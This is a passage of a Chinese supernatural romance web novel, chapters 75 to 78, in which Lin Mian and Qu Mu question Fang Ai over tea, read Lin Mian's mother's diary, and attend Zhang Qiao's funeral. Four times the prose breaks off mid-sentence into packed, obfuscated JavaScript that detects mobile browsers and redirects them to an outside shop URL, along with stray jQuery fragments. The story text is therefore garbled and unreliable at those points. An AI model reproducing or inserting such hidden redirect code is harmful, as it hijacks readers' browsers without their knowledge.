“哦哦,好。”瞿木愣了一下,怎么感觉林眠没有什么精神,昨晚她做贼去了? 等到林眠收拾好,下到一楼大厅的时候,瞿木正在厨房里做早餐,他见林眠下来,便说:“今天不点外卖了,我给你露一手。” “好。”林眠走上前,看瞿木在煎蛋。这还是她第一次见瞿木下厨,觉得有点新奇。 “好了。”瞿木将煎蛋挑出,放到面上面,再端到桌上,说:“我也就会煮个面了,将就着吃吧。” 林眠不挑食,坐下就开始吃,还不忘夸赞一句:“好吃。” “那是肯定。”瞿木也乐意接受。 吃过早饭后,林眠就瘫在沙发上,点开电视看。 瞿木则在旁边刷手机,看看有没有新的新闻什么的。显然,现在什么都没有,只有网络上一些乱七八糟的猜测和谣言。 没多久,文忱就来了。 文忱一进来,就看到那个小小的白色团子,他步伐都快了一些,抓起那个白色团子打量了几下,说:“菌人都有记载,我们找了那么久,都没找到菌人的存在,没想到你那边会有一只。” 文忱说完,有些感慨,早知道当年就应该在盖山村进行地毯式搜索。 他知道菌人也是昨天收到了秦宁的信息,但他那会儿去了一趟隔壁市,只能今天赶回来。 林眠看着文忱,说:“你要拿它做实验吗?” 文忱摇摇头,说:“菌人不是妖物,它更像是菌丝的一个分身幼年体,起到连接、通讯等作用。” “什么意思?”林眠不懂。 “就是不管你在哪,你都能感受到菌人的位置,从而透过菌人,查看到那个位置。”文忱解释说。 林眠皱起眉头,说:“这要怎么做?” 她只知道摸着菌人就可以看到菌人做的事情。 关于这个问题,文忱没法回答,只是说:“有机会,你可以自己发掘一下。虽然我们没见过菌人,但凭借着对菌丝的了解,才知道这一些,但也只是理论,无法实践。” 说完这个,文忱捏着菌人,对林眠说:“那这个先借我几天?” “哦。”林眠还是信任文忱的,“等下。” 她现场搓了好几个大蘑菇,递给文忱,说:“它吃这个,你要记得喂它,吃完了再来找我。” 文忱看着她这么熟练地搓蘑菇,不免有些好笑。菌丝从林眠出生的时候就在她的体内,没想到这么多年,她别的没学会,搓蘑菇倒是搓的很快。 实在是有点…大材小用。 林眠没看明白文忱这个笑是什么意思,只是歪着头看着他。 “好了,过几天就会还给你。”文忱说完就带着菌人和蘑菇离开了。 他走了后,瞿木凑到林眠身边,问:“秦宁还没回来,我们今天还去找方艾吗?” 林眠想了想,说:“她今天会出院吗?” “应该吧,她现在就是情绪太激动,受了刺激才这样。而且医院人多,回家反而能安静一些。”瞿木是这么想的,医院门口一堆记者,方艾在医院里肯定也不得安生。 事实上,也确实如此。 今天早上,方艾就回到了方家。 方母给她端来安神的花茶,说:“家里清净多了,这些人就一点都不考虑下我们,一个劲的问这问那。” 方母倒了杯茶,递给女儿,也有些欲言又止。以前她就不同意女儿和张峭在一起,结果现在出了这档子事,女儿还刚好在现场… 这实在是有理都说不清啊。 “你也别想太多了,这件事跟你没有关系。在家好好休息。”方母说道,又停留了一会儿,才踏着步子离开。 房间门被关上,发出沉闷的声音,随后归于平静。 方艾喝了一口茶,看着外面枯黄的树叶,远处能眺望到的湖泊,这里一切都那么美好,美好到…已经完全属于她了。 她才享受这样的安宁不到半小时,门外便响起了敲门声。 “艾艾,你的朋友来找你了。”方母的声音在门外响起,“你这两个朋友也住在这里,你不早说。” 方艾柳眉微蹙,回道:“让他们在下面等我。” “好。”方母听你本人的声音又回到了往日的清脆,也放心了不少,还是在家好,人也恢复的快。 方艾看着桌面的这些东西,特别是那碍眼的合照,她用力地将自己和张峭的合照盖住后,才出房门往楼下走。 走到楼下的时候,方母正热情地招呼着林眠和瞿木他们。 这弄的林眠很不习惯,之前方母的态度虽然说不上冷淡,但绝对也没有这么热情,恨不得要把家里的好东西都端上来。 “小瞿啊,你家是在北城做生意的啊,这可是好地方啊,寸土寸金。”方母笑着跟瞿木聊天。 瞿木谦虚地说:“哪里哪里,就一点小小的产业而已。” “你们家都跟文家合作了,这还能小啊?”方母乐呵呵地说,她一抬头,看女儿下来了,连忙招呼:“艾艾,快过来啊。” 林眠和瞿木都抬起头看向站在楼梯处的方艾。 方艾扯出一个笑,走过来。 她坐下后,方母又聊了几句之后,便说:“我也不打扰你们年轻人说话了,刚好我有些事要出门一趟,你们在这玩。” “艾艾,招呼好客人啊,可别因为是朋友就怠慢了。”方母叮嘱方艾后,才拎起包离开。 林眠目送方母离开后,才对瞿木说:“她好热情呀。” “这就是生意人。”瞿木见怪不怪了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104749|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >方艾看着他们两个,语气有些冷淡地问:“你们来找我有什么事吗?” 她和昨天完全不像一个人了。瞿木和林眠对视一眼,都有这个想法,但方艾显然也记得之前的事情。 “来看看你,顺便…还想再问一下张峭的事。”林眠耿直地说道。 “你们又不是警察、也不是记者,这么关心这件事吗?”方艾依旧板着一张脸,冷淡地说道。 瞿木一听,就不乐意了,说:“你自己心里不也清楚吗?张峭的死肯定和某些……”瞿木说到这个的时候,看了看周围,才低声说:“不可明说的东西有关,你自己也体验过。” “你不能因为秦宁帮你驱除了身上的东西,你就装作没事发生了。万一这玩意到了张峭身上呢?” 瞿木话虽这么说,但也有点唬方艾的意思。因为骨妖不会把人杀了,它要的是取而代之这个人。 方艾看着瞿木,笑道:“你还挺关心的,谢谢你。” “额,那不用。”瞿木觉得不太自在,说:“这是我们的职责。” “只是,这件事我真的不清楚。”方艾握着茶杯,低声说,“那天我和往常一样去找张峭,他硬要带着我去楼顶上,我上去了,他就突然站在边缘处,说要跳下去,我让他不要,可是他却和着了魔一样,根本不听劝告。” “我拉也拉不住,结果就……” 说到这儿,方艾捂住脸,抽泣起来。 林眠一下子摸不着头脑,方家人都是变脸这么快的吗?刚刚方艾看着一点都不难过,这会儿又哭起来了。 方艾的这番说辞,瞿木一点都不感到意外,猜都猜得到,只是方艾这说哭就哭,未免也有些太诡异了。 他忍着头皮发麻,接着问:“张峭是昨天死的,你前天就说了他死了,又是怎么回事?” “前天?”方艾抬起头,有些迷茫地看着瞿木,“前天…我说过吗?” “你不记得了吗?前天在那个湖边的亭子上。”林眠说道。 方艾皱起眉头,“我记得在亭子里,你们给了我符咒…可是…我没说过这样的话。我怎么可能…会咒张峭……” “我们明明那么好。” 林眠听到这儿,也不知道该问些什么了。 方艾摸了摸眼泪,起身,说:“我不想谈这些了。” “行。”瞿木看这个样子,也问不出什么来了。 “不过,我还是欢迎你们来找我们玩,毕竟待在家里,太闷了。”方艾笑了笑,温柔地说。 林眠也只能点点头,就准备起身了。 “对了,要来花园这边坐坐吗?我一个人在家也无聊。”方艾起身后,突然对着林眠说道。 “我吗?”林眠不太确定地问,因为方艾是对着自己说的。 方艾笑,“你们可以一起,不过女孩子之间……” 她话没全说完。 瞿木一听,就知道对方是想赶自己走,但有了前车之鉴,他不可能让林眠跟这个方艾单独待在一起。 “我当然要去,你们聊你们的,我赏花。我这个人最会赏花了。”瞿木厚着脸皮说道。 林眠看向瞿木,瞿木喜欢看花吗?在村子里的时候,他明明糟蹋了不少野花。 方艾也不介意,带着他们到院子里的小亭子处。 76. 品茶 小花园里生机盎然,明明已经到冬季了,这里依旧开着一些花。 方艾拿出一堆茶叶,各个品种,摆放在他们面前,说:“我喜欢品茶,家里收集了很多茶,今天刚好可以一起,慢慢地品。” 瞿木看了一眼,这些茶都是顶贵顶贵的,但一眼就能看出来,这些茶就和方家的装修风格一样,充满了暴发户的味道。 他愿意留下来,也是想看看方艾想要作什么妖。 “来,喝茶。”方艾泡好一壶茶,给他们都倒了一杯。 瞿木倒也懂得一点品茶之道,反正闲着没事,就品一品吧。但出乎他意料的是,方艾还真懂得品茶,说的也头头是道。 两人对茶交流了一番,氛围也和谐了一些。 林眠在旁边端着茶杯,听着他们两个聊天,她小口小口的嘬了两口,又舔了舔嘴唇,根本喝不出来他们两个说的味道。 她又小喝一口,还是品不出来。 索性直接放下杯子,放弃了。她也不是很爱喝茶。 也不知道怎么的,看着他们两个其乐融融、谈笑风生的的模样,林眠心里不是很舒服,就觉得心头处被卡了一下。 因此,连话都不想说了。 12月的冬日,没有那么寒冷,水煮的滚烫,“咕噜咕噜”,连带着人的心都变得滚烫了一些。 可林眠却觉得自己的心冷了许多。 她缩在角落里,看着他们两个品茶品的已经入定了的表情,显得自己格格不入,她顶多就闻到了茶的味道。 “好久没这么惬意的品茶了。”瞿木说道,喝了茶、聊了天,他对方艾也没那么大的敌意,两人聊得也变得投缘了一些。 “有机会我去北城,你可一定要让我品品你的茶。”方艾笑着说,“我这茶的虽然还算可以,但肯定比不上瞿家的。” “那是肯定,我爷爷最喜欢茶了。”瞿木毫不谦虚地说。说起来,他也想念爷爷了,也不知道什么时候能够回去。 “林眠,你不试试?”瞿木见林眠坐在那儿,一言不发,也不喝茶,就给林眠倒上一杯,让她试下。 这一壶是他觉得最好的了。 林眠却推开这杯茶,扁着嘴说:“我喝不出来。” “喝不出来就喝不出来,你就当水喝好了。”瞿木又往前推了推,“不渴吗?” “不渴。”林眠回答, 瞿木愣了一下,不渴…那就不喝吧。 “哎呀,我忘记去拿点点心过来了,我们这光喝茶。”方艾说着就要起身。 瞿木叫住她,“不用了,我们也要离开了。” 他觉得现在的方艾完全是个正常人,凭他现在的能力根本调查不出什么来,还是等秦宁回来了再说吧。 既然如此,也没必要再在这儿待了。 “时间不早了,我们先回去了,如果遇到什么事,来文家找我们就行。”瞿木起身说。 “好,符咒我还没用完呢。”方艾点头说,对待瞿木的态度也热情了许多。还送他们到家门口,一直挥手。 瞿木和林眠一起离开方家,直到转弯看不见方艾了,瞿木才开口说:“这个方艾真是捉摸不透,有时候奇奇怪怪,表现的很冷漠,有时候看着又很正常,人也热情。” “嗯。”林眠敷衍的回答瞿木。 瞿木没察觉到,接着说:“等秦宁回来问问他吧,他这都消失两天了,要不我们问问文叔?他也整天神龙见尾不见首的。” 林眠还是轻声回了个“嗯”。 瞿木又不是真的木头,他察觉到林眠不太对劲,没有以往的活泼劲儿,便凑上前,看着她问:“怎么了?不太舒服?” “没有。”林眠躲开瞿木的视线,走到他前面,小跑着回去。 “诶!”瞿木喊了一声,有些摸不着头脑,林眠这是突然怎么了? 林眠回到文家,就飞奔回自己的房间里,趴在床上,把头埋在被子里几分钟,她才抬起头来,看到床头处的那本日记。 刚刚,她的情绪上来的十分快,特别是瞿木问自己是不是不舒服的时候,那种委屈感就涌了上来。 很奇怪,就连她也说不明白,但她不想让瞿木看到。 在床上趴了几分钟后,平复心情后,她才起来,拿起那本日记本,心情又沉重了几分。 她从日记本中知道,爸妈离开文家的原因,以及妈妈在最后因为菌丝的原因,而无法变得正常。 她以后…也会变成这样吗。 “叩叩” 敲门声响起。 “林眠,你怎么了?”瞿木刚刚也紧跟着林眠,回到文家就看着林眠冲到楼上,再躲进房间里。他在门口待了几分钟才敢敲下门,问她。 没有得到回应后,他又敲了一下,再问:“我们出去吃饭吧,吃你喜欢的。” 林眠没出声,只是蹑手蹑脚地将日记放好后,再走到门边,站着。其实在瞿木来找自己的时候,她就不怎么生气了,虽然也不知道在生气些什么。 就在瞿木准备再敲一下门的时候,门打开了。 瞿木看着林眠,呆呆地问:“去吃饭吗?” “嗯。”林眠点头,她确实饿了,今天就吃了瞿木煮的面。 “好嘞。”瞿木见林眠愿意和自己出去吃饭,说明问题不大。 林眠往前走,瞿木跟在后面。 “怎么了?”瞿木跟上林眠的步伐,低头问她。 “没有。”林眠回答。 瞿木不信,明明就有事,从方家出来就这样了,板着一张小脸。看起来就像是对自己生气了。 “你得告诉我,我才能知道我哪做错了不是?”瞿木接着说。 林眠停下来,看着瞿木,撇了撇嘴说:“谁说你做错了?” “那你生我气。”瞿木摊手,“你生我气,总得有个理由。” “我…”林眠垂下头,她不知道该不该和瞿木说。 瞿木弯下腰,凑上前看着林眠,说:“你什么?你就大胆的说。” 他现在可抓心挠肝了,林眠怎么好端端生自己的气了? 林眠抬起头和瞿木对视,随后移开视线,嘟囔着说:“我不喜欢你和方艾在一起。” “啊?”瞿木第一反应没反应过来,“我没和方艾在一起啊。” 说完,他才后知后觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114688|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,林眠这是吃醋了?还是吃的自己和方艾的醋? 意识到这一点后,瞿木内心深处涌起极大的喜悦,都快把他的头脑冲昏了。他看着林眠,张了张嘴,“我…” “我…你…” 林眠说出来之后,心里舒坦了一些,她皱起眉头对瞿木说:“我不知道这是怎么了,但就是不开心。” “我想,可能是因为菌丝。” 林眠的直接给瞿木浇了一盆冷水,他没反应太过来地问:“什么菌丝?这…和菌丝有什么关系。” “我找到了妈妈的日记本。”林眠说,“上面记录了妈妈在文家的这些年的日子,以及…她因为菌丝而产生的各种问题。” 瞿木皱了一下眉,妈妈的日记? “什么问题?”瞿木抓住关键词问。 “妈妈说,随着时间的变化,菌丝经常占据她的身体,从而导致她缺失了很多记忆,而且…到后面,她性情也大变了。” 林眠低声说着,“我会不会也这样?” 瞿木大概明白了,他说:“你不要多想,你这也没有性情大变啊,还是和以前一样。这样吧,吃完饭,你把那本日记给我看看,行吗?” 林眠点点头,“好。” 瞿木得到应允,也松了一口气,他这里还有一本林眠奶奶的日记本,怎么这林家人都喜欢写日记啊? “林眠,你写日记吗?”瞿木问,虽然他没见过林眠写日记。 林眠摇摇头,“我不喜欢写日记。” “那你们家的优良传统要消失了。”瞿木打趣说。 林眠不太明白瞿木这句话是什么意思? “传统?”她问。 瞿木顿时意识到自己说错话了,有些心虚地低下头说:“好啦,不管了,我们去吃饭。” 他心里还是开心的,不管什么原因,林眠会因为自己和别人说话而吃醋了,他一想到,嘴角都压不下去。 林眠不挑剔,就找了附近的一家店,随便吃点。 只是,吃饭的时候,她发现瞿木总是时不时在傻笑,问他他又不说。 吃完饭后,两人一起回到文家。刚好秦宁也回来了。 秦宁也是刚回来不久,正在把外套挂在衣架上,见他们回来了,便打了声招呼。 “秦宁,你终于回来了。”瞿木上前说道。 秦宁点点头,看向他们问:“方艾那边没发现什么吗?” “没啊,我都把情况汇报给你了。”瞿木也无奈,“这方艾肯定不正常,但她时好时坏的,我们也分不出来是怎么回事。” 林眠坐到沙发处,问:“秦大师,你那边有发现什么吗?” 即使她都不知道秦宁这两天到底干嘛去了。 “我回了一趟北城。”秦宁说。 “为什么回北城啊?”瞿木问,他也想回去啊,他这都离开家好几个月了。还是北城发生了什么事? “最近这几天,各门派的人都赶往五华山,应该都到达了。我回秦家一趟,是为了安排一下任务。”秦宁简要的解释,“但去北城后,我遇到了况衍君。” “什么?”瞿木惊讶,况衍君在北城。 77. 翻看日记 秦宁坐到沙发处,才接着说:“嗯,遇到他了,但我和他没有正面交锋,也就没有更多的消息了。” “那就说明,操控方艾他们的,不是况衍君。”林眠说道。 “这个还不好定论。”秦宁说,“你们这两天里,方艾有没有什么奇怪行为?” 瞿木也一屁股坐下,说:“没有啊,她除了情绪变化的有点快,其他都像个正常人,而且也没有做什么事。” “是的。”林眠也认同。 “那你们认为,她是以自己的意志在行动吗?”秦宁问,他觉得文忱说的“嵌合体”很符合方艾的症状,可瞿木他们这两天接触的方艾又不太像。 瞿木和林眠对于秦宁这个问题,也不知道该怎么回答。 “万一这个骨妖精通人性呢?”瞿木试着说,这可能性太多了。 林眠说:“或许,方艾的力量比较强大,压制住了骨妖?” “劳老太不就是骨妖吗?她这么厉害,能被方艾一个女大学生给压制住?”瞿木不太认可,毕竟劳老太的实力他也是见过的。 秦宁斜眼看瞿木,说:“人并不比妖物弱。” “如果一个人的精神意志力很强,未必不能战胜妖物,只是大多数人都没有这么坚强的意志力。” 瞿木不懂,在他的眼中,妖物都是有着各种神通,人就一对赤手空拳,怎么打?靠精神力硬抗吗? “方艾他们的目的应该是你和林小姐,但方艾现在没有行动,也有可能是操纵的人没有动手,但我们还是要防范未然。”秦宁说道,“马上张峭就要出殡了。” “啊?我们要去吗?”瞿木第一反应就是秦宁让他们去参加葬礼,“我可不去啊。” 谁要去参加陌生人的葬礼?而且张峭死的那么凄惨,说不定冤魂正在上面看着。 秦宁摇摇头,“按道理,方艾会去。我也会去,张峭死了,但是他的魂魄却没见到,可能会在葬礼上出现。” “蝶翅面具?”林眠反应过来,秦宁手上拿着蝶翅面具,如果遇到张峭的魂魄,就可以放进面具里。 “对。”秦宁说,这也是他的打算。 “那你自己去吧,我和林眠就不去了。”瞿木说道。 “不,我要去。”林眠说,“我还没参加过城市人的葬礼呢。” 瞿木:…… 瞿木无奈,真想看看林眠脑袋里装的都是些什么,“这葬礼还分城里和乡下吗?” “不知道,应该不一样吧?”林眠觉得是不一样的,毕竟城里和乡下本来区别就很大。 瞿木没吭声,他在思考,如果林眠去,自己要不要去?他不是很喜欢这种场合。 “我先去楼上了。”秦宁看了眼他们两个,起身说完,就往楼上走去了。 瞿木和林眠在这里也无聊,林眠上楼把那本日记本拿给瞿木,说:“你看吧,不过看完要还给我哦。” “我还能私吞不成?”瞿木说道,说完他又有一点心虚,林眠奶奶那本日记他倒是私吞了。 只是那本日记的内容…他实在不知道该不该给林眠看。 瞿木接过日记,翻开一看,这第一页的日期是1995年,现在都2024年了,可见这日记年代久远。 他翻到最后一页,最后一页是2002年。 瞿木想起林眠奶奶的日记,是从2004年开始记的。这中间差了两年,但某种程度上也算是接上了。 “怎么了?”林眠见瞿木在发怔,上去拍了拍他。 “没。”瞿木回过神来,说:“我就在这你这儿看吧,可以吗?” 反正他下午也不睡觉,林眠也没有午睡的习惯。而且他有私心,想和林眠待在一起。 “可以呀。”林眠毫不介意。 瞿木就自己坐到一旁的书桌前,打开日记开始看。 这本日记记载了七年的时光,厚度也足够。 林眠已经看过了,她趴在床上开始玩手机。 两人一起度过一个悠闲的下午。 瞿木将日记本合上的时候,外面已经夕阳西下,漫天红霞。他呼了一口气,林眠妈妈的这本日记大多记录了在文家的日常,而最不寻常的就是菌丝会经常占据她的身体,从而导致她有记忆断层。 这点和之前在青州找到的书签一致。 而在后面,日记的画风就不一样了。首先是林眠妈妈的性情大变,她变得自私、冷漠、易燥易怒,也不愿意配合文家的实验,但在日记中,她是清楚的知道自己的问题,但又无力改变。 日记的最后一页写的是她要离开文家。 瞿木伏在桌上思索了一下,林眠的担忧正是来源于此,她的母亲觉得是菌丝的原因,林眠也认为是菌丝导致母亲这样。 这点瞿木不好判断,或者是精神疾病之类的?想到这儿,他摇了摇头,自己还是别瞎想了。他一时之间,不知道是判为精神病好,还是判为被菌丝影响的好。 2003年林眠出生,2004年林眠被送到盖山村。在那之后,林眠父母都去哪儿了? “你在想什么?”林眠在床上翻了个身,凑上前去看瞿木。 瞿木回过头,说:“我在想日记里写的情绪变化,那和你完全不一样。” “不一样吗?可是我以前都不会这样。”林眠说道。 瞿木有些无言以对,更加不知道怎么解释,他总不能对林眠说:那是因为你吃醋了,吃醋我和别的女生说话。 这显得他多自恋啊。 瞿木觑了一眼林眠,清咳了一声说:“这是人类正常的情感,你应该思考一下,你为什么会出现这样的情绪。” 林眠歪着头,眨眨眼,为什么会出现? 她想不出答案。 “好啦,以后你就会明白了。”瞿木自信满满地说,还凑上前问她:“你最近和你那个网友怎么样了。” 林眠抿着唇,“他好像很忙,已经很久没和我说话了。” “你连对方是男是女都不知道,不要抱有太美好的幻想。”瞿木一本正经地说道,“万一对面是个秃顶抠脚油腻大叔呢?” 林眠歪着头思考了一下,说:“你说的很有道理。” “那肯定。”瞿木得到认可,心情更加舒畅了。 接下来的几天,秦宁都待在文家的书房里。瞿木和林眠没事可干,方艾那边也毫无动静,他们两个也就跟着秦宁在书房里找资料。 也过了两日的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128577|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休闲日子。 “这文家的书房资料也太多了吧。”瞿木忍不住抱怨道,“而且他们还酷爱做实验,看着有些不太人道啊。” 瞿木这两日跟着秦宁翻书架,里面记载了各种妖物,同时文家也会抓到一些妖物,对其进行实验和操控。 秦宁对这些实验不可否认,虽然有些不太人道,但确实为玄学界提供了大量的理论知识及实操方法。 林眠在旁边看小说,她在书籍里发现了几本小说,就自己待在角落里看。 “张峭的葬礼定在明天,明天我们早些过去吧。”秦宁说。 一说到这个,瞿木就泄了气,嘟囔着说:“这张峭不是自然死亡,肯定怨气很重,会不会成为厉鬼啊?” “这就要看他是否有很大的遗憾和愤怒了。”秦宁漫不经心的回答。 林眠从小说中抬起头,看向他们,说:“如果是厉鬼,我们还能找他问话吗?” 这次去参加张峭的葬礼,为的就是问出他的死亡原因,以及当时他和方艾在一起的时候,有什么异常。 “如果真的成为了厉鬼,那就只能先净化,再问此行之事。”秦宁将书放回书架,说,“时候不早了,还是早些睡吧。” 瞿木锤了锤肩膀,确实不早了,他也想去睡觉了。他走到林眠身旁,低下头看了一眼林眠手中小说的书名,并念了出来: “霸道总裁爱上我。” 林眠从书中抬起头来,猛地将书本合上,她…突然觉得有些难为情。 瞿木舔了舔嘴唇,干笑道:“没想到你还喜欢看这个啊。” 今天一天,林眠都坐在这个角落里,看书。他还以为看的啥呢,这么起劲,没想到是…言情小说啊。 “好看嘛…”林眠不开心地说道。 她觉得写的还蛮有意思的。 “行,好看。”瞿木敷衍道,“再好看也得睡觉去了,都12点了,你不困啊。” 林眠摇摇头,说:“我发现一看这个小说,我一点都不困,还想一直看下去。” “你这是上瘾了。”瞿木不由分说,将林眠从地上拉起来,“快回去睡觉。” 林眠也只好起来,将书本合上,但没有放回书架,而且在手上拿着,准备回房间再看,她还只剩下一点点了。 不看完她心痒难耐! 瞿木也注意到了她的小动作,但林眠也是成年了,他也不能多做些什么,只好让她看。只是送林眠到房间门口的时候,再叮嘱两句。 林眠乖巧应答,房门一关,她立马打开书本接着看。 她本来就只差一点点没看完,大约十分钟就把剩下部分看完了。翻到最后一页的时候,她发现在最后面处,有三个小小的字。 “林语枫”三个字落在书的结尾处。 这三个字写的十分的柔和,笔触柔软。 林眠手指抚上这三个字,似乎能触碰到字的温度。但仅仅几秒钟,她就将书本合上,放到一旁处,和妈妈的那本日记放在一起。 这栋房子以前是爸妈居住的,能在屋子里找到很多他们的痕迹。 林眠心想着,有种难以言说的感觉。就像是她和爸妈明明隔的很远很远,现在又…很近很近。 78. 葬礼 第二天,秦宁带着他们去参加张峭的追悼会,也是遗体告别仪式。具体位置就在梧州东区的殡仪馆处。 这一块地处偏僻,开车去到殡仪馆的附近,能明显发现人少得多,而且周围都是寿衣店,有些死气沉沉。 今天恰好又是阴天,天气比前两日更加寒冷。 瞿木缩在车上,想看外面的风景,但一眼看去,全是各种寿衣店、纸钱店铺之类的,越看越晦气。 “要不我不去了吧?”瞿木说道。 “都到这儿了。”林眠已经看到殡仪馆三个大字了,“来都来了,就进去嘛,好歹我们和张峭也有过一面之缘。” 瞿木抿着唇,吐槽说:“这是殡仪馆,又不是去旅游,哪有来都来了的道理?” “到了。”秦宁压根不管瞿木愿不愿意,直接找好位置停车,然后下车。 林眠第一次见殡仪馆,一下车,看着面前黑白色的建筑,忍不住夸赞道:“真漂亮啊。” 瞿木:这到底哪里漂亮了?他只觉得阴森。 “你之前没去过殡仪馆吗?”瞿木问,林眠奶奶去世的时候应该也去了殡仪馆才对。 林眠摇摇头,“我们那不兴去殡仪馆,都讲究落叶归根。” 瞿木有些吃惊,但也没详细问,毕竟问出来就违法违纪了。 “不是这边。”秦宁看他们两个都准备抬脚走进殡仪馆了,连忙叫住他们,指了指另一个方向,说:“追思礼堂在那一边。” “哦哦。”林眠也不知道具体在哪里办追悼会。在村子,都是搭个棚子就好了。 瞿木连忙把自己的脚退出来,差点就踏进去了。 三人一起往前面走去,这附近有个追思礼堂,此刻门口处有不少人在。 秦宁走到门口,拿出一个类似于红包大小,但颜色是白色的白包交给门口负责收白包的人。 这个瞿木和林眠也准备了,纷纷交上去。 交了之后,三人才一起走进追思礼堂。 场内布置的肃穆、庄严,黑白色的装饰更是将氛围变得压抑。这场追悼会来了不少人,大家都穿着黑白的衣服,坐在位置上沉默不语。 瞿木也找了个位置坐了下来,并招呼林眠和秦宁也坐下。 “方艾还没来。”秦宁坐下后,开口的第一句话。 瞿木往周围看了看,没看到一个熟悉的面孔,但这也正常。 秦宁倒是看到好几张熟面孔,都是那天他去找张峭的时候见到的,多是同一栋楼的邻居,看来张家为人处世不错,和邻里关系都挺好。 林眠好奇地打量着周围。 “秦大师,你有看到张峭的魂魄吗?”林眠低声问秦宁。 秦宁摇摇头,这有些奇怪。人死后的七天内,都会在自己的尸身处徘徊,可是张峭尸体那里并没有。 “你看清楚了吗?拿出蝶翅看看?”瞿木说,这怎么还能找不到张峭的魂魄?那他的魂魄会去哪? “这附近有不少刚死去之人的魂魄,但唯独没有张峭的。”秦宁轻声说道。 瞿木抬起头,看了看周围,顿时寒意四起,紧张地问:“还有别的魂魄?在哪啊?不在我们身边吧?” 秦宁抬起眼,看着瞿木,不吭声。 “你说话啊。”瞿木舔了下干燥的嘴唇,被秦宁这么看着,他浑身都不自在了,难道…自己的身旁有鬼魂? 他侧过头,看向自己身旁的林眠,和林眠大大的眼睛正对视上。 “不在你身旁。”秦宁突然开口。 瞿木这才松一口气,低声和林眠说:“我觉得这里阴风阵阵的。” “我们这个位置离大门不远,有风吹进来。”林眠认真地说道,她正抓了把瓜子,准备嗑。坐了一会儿,她都有些无聊了。 她边嗑瓜子,边四处张望,突然看到一道熟悉的身影,她连忙扯了一下瞿木,说:“方艾来了。” 瞿木和秦宁都看向大门口。 方艾是一个人来的,她眼睛红红肿肿的,看起来像是哭了很久。她在门口递交白包,随后找了一个很偏僻的位置坐了下来,垂着头一言不发。 林眠磕着瓜子,目不转睛地盯着方艾看。 “你别这么直勾勾的盯着,等会被发现了怎么办?”瞿木扯了扯林眠,示意她别这么明目张胆。 林眠只好收回视线,并学着瞿木的样子,小心翼翼地看方艾,并时不时收回视线。 “我们前两天见她的时候,她一点都不伤心,还有心情品茶。”瞿木看了会方艾,小声对他们说,“现在表现出一副伤心的模样,我觉得像是鳄鱼的眼泪。” “什么是鳄鱼的眼泪?”林眠没听明白。 瞿木想解释,但这一时半会也不好解释,便说:“结束后再告诉你。” 秦宁没吭声,只是视线时不时看向角落里的方艾。他更在意的是,这里为什么没有张峭的魂魄。 一阵音乐突然响起。 林眠抬头看去,是台上的乐队开始演奏哀乐了。 哀乐一响,所有人的目光都集中在台上,以及另一边摆放着的冰棺,那里躺着张峭。 哀乐结束之后,就是追悼会负责人代表上台念致悼词,家属上台说答谢词。 整个氛围都很低迷,张峭的父亲看着苍老了不少,念答谢词的时候声音都在颤抖,几乎站不稳,还是有人上前扶住他,才将答谢词念完。 之后就是遗体告别仪式。 先是亲戚们一个个手拿一支菊花,走上前鲜花,与遗体告别。 林眠一伙人都没动,都准备后面再去。 “你说,方艾如果身上有妖物,是不是很敏感?”瞿木等的有些无聊,在这和秦宁林眠闲聊,“我们三个人老是看向她那一边,应该早就被发现了。” “不清楚。”秦宁说道。 林眠看过去,方艾正拿着一支菊花,朝着张峭的遗体走去。 “她的脸上没有伤心的表情了。”林眠突然开口。 瞿木看了看,现在的方艾看起来,就像是和张峭是普通朋友关系一样,脸上还有一股淡然。 “我就说她情绪变化的很快,不去演戏可惜了。”瞿木说道。情绪来去的太快了。 他们三个在这远远地看着前去进行遗体告别的方艾。 方艾拿着菊花走到遗体面前,她看着躺在冰棺里面的张峭,嘴唇、脸上都化了妆,但也挡不住皮肤上的乌青。 什么样的感觉?方艾说不出来,她的心很平静。 冰棺旁边站着张峭的家人,他们声泪俱下,在旁边哭泣着、抽噎着。 方艾侧过头看了眼他们,并将手上的花放到冰棺上。她刚直起身,张峭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137092|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 